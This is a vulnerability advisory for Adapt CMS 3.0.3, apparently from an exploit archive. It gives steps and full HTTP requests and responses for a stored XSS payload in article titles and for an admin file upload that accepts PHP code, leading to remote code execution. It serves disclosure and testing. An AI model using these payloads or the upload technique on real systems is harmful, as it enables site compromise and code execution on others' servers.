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Adapt CMS 3.0.3 Cross Site Scripting / Shell Upload

Adapt CMS version 3.0.3 suffers from persistent cross site scripting and remote shell upload vulnerabilities.

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Exploit Title: Stored XSS and RCE - adaptcmsv3.0.3

Date: 02/2024

Exploit Author: Andrey Stoykov

Version: 3.0.3

Tested on: Ubuntu 22.04

Blog: http://msecureltd.blogspot.com

Description

  • It was found that adaptcms v3.0.3 was vulnerable to stored cross
    site scripting

  • Also the application allowed the file upload functionality to upload
    PHP files which resulted in remote code execution

Stored XSS

Steps to Reproduce:

  1. Login as admin and add a new article
  2. In “Title” add the following payload <svg><animate
    onbegin=alert(1) attributeName=x dur=1s>
  3. The stored XSS would be triggered upon visiting the article by
    normal user

// HTTP POST request

POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1

Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[…]

_method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[…]

// HTTP GET request

GET /adaptcms/admin/articles/preview HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[…]

// HTTP response

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
[…]

[…]
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>

  • AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x
    dur=1s> </title>*
    […]

Unrestricted File Upload

Steps to Reproduce:

  1. Login as admin and visit the “Media” page
  2. Click on “Files” then use the “Add File” functionality
  3. In “File Contents” add the following PHP code <?php phpinfo(); ?>

// HTTP POST request

POST /adaptcms/admin/files/add HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[…]

[…]
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[0][File][dir]"

uploads/
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[0][File][mimetype]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[0][File][filesize]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[File][content]"

<?php phpinfo(); ?>
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
[…]

// HTTP response

HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Location: http://192.168.232.133/adaptcms/admin/files
http://192.168.232.133/adaptcms/admin/files
[…]

// HTTP GET request

GET /adaptcms/uploads/test-php.php HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[…]

// HTTP response

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[…]

[…]
<h1 class="p">PHP Version 5.6.40</h1>
</td></tr>
</table>
<table>
<tr><td class="e">System </td><td class="v">Linux ubuntu
6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12
18:54:30 UTC 2 x86_64 </td></tr>
[…]

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